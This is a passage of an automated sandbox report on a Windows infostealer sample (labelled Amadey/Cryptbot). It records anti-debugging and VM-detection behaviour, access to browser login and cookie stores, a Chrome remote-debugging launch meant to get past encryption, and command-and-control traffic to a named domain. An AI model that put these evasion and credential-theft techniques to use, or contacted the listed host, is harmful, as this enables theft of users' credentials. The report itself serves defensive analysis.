Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 787099D second address: 78709B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC515B341h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78709B2 second address: 78709EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC4805AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3FC4805AD1h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov dh, 6Eh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bl, 9Dh 0x0000001d movzx ecx, di 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 78709EB second address: 7870A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B342h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov cx, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7870A0B second address: 7870A10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880A6A second address: 7880A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880A70 second address: 7880A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880A74 second address: 7880A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880A78 second address: 7880ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c call 00007F3FC4805AD8h 0x00000011 pushfd 0x00000012 jmp 00007F3FC4805AD2h 0x00000017 or si, 2278h 0x0000001c jmp 00007F3FC4805ACBh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F3FC4805ACFh 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov al, dh 0x00000031 mov bl, ah 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880ADC second address: 7880B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B346h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bx, 8550h 0x00000013 pushfd 0x00000014 jmp 00007F3FC515B349h 0x00000019 adc esi, 1043ADD6h 0x0000001f jmp 00007F3FC515B341h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880B33 second address: 7880B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880B39 second address: 7880B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880B3D second address: 7880B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F3FC4805ACFh 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3FC4805AD0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880B6E second address: 7880B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 7880B72 second address: 7880B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Special instruction interceptor: First address: 1708671 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Special instruction interceptor: First address: 1571082 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Special instruction interceptor: First address: 1712BA7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window / User API: threadDelayed 1217	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window / User API: threadDelayed 1211	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window / User API: threadDelayed 1215	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window / User API: threadDelayed 1222	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Window / User API: threadDelayed 1240	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 6769	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 3230	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.1 %

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8044	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8036	Thread sleep count: 1217 > 30	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8036	Thread sleep time: -2435217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8040	Thread sleep count: 1211 > 30	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8040	Thread sleep time: -2423211s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8144	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8024	Thread sleep count: 1215 > 30	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8024	Thread sleep time: -2431215s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8028	Thread sleep count: 1222 > 30	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8028	Thread sleep time: -2445222s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8016	Thread sleep count: 1240 > 30	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe TID: 8016	Thread sleep time: -2481240s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5208	Thread sleep count: 6769 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5208	Thread sleep time: -676900s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5208	Thread sleep count: 3230 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5208	Thread sleep time: -323000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1794785908.000001C4B4094000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 9c 31 6b 7d 78 89-be 90 b3 22 a5 ab 1b 52
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: NTICE
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: SICE
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00528230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00528230

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0052116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	9_2_0052116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00521160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_00521160
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_005211A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_005211A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_005213C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	9_2_005213C9

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6D078280 cpuid

9_2_6D078280

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 9.2.service123.exe.6cff0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: service123.exe PID: 2004, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.3:49736 -> 185.185.71.170:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xte0v1np.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xte0v1np.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	24 Virtualization/Sandbox Evasion	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	4 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
U6mwWZlkzH.exe	68%	ReversingLabs	Win32.Trojan.Amadey
U6mwWZlkzH.exe	100%	Avira	TR/Crypt.TPM.Gen
U6mwWZlkzH.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://anglebug.com/5007ts	0%	Avira URL Cloud	safe
http://anglebug.com/7724ty	0%	Avira URL Cloud	safe
home.fivetk5pn.top	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fivetk5pn.top	185.185.71.170	true	false	high
home.fivetk5pn.top	185.185.71.170	true	false	high
www.google.com	142.250.181.132	true	false	high
httpbin.org	98.85.100.80	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://fivetk5pn.top/v1/upload.php	false		high
home.fivetk5pn.top	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	dlEmjynrOeqkpoHZKKOr.dll.0.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000003.00000002.1798586474.000009C00227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000003.00000002.1802381908.000009C002B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786634598.000009C003288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799750154.000009C0024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786600899.000009C003238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788293085.000009C002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788393166.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786666254.000009C0030F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786496806.000009C003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788341141.000009C003150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786731825.000009C003254000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788439862.000009C00315C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	false		high
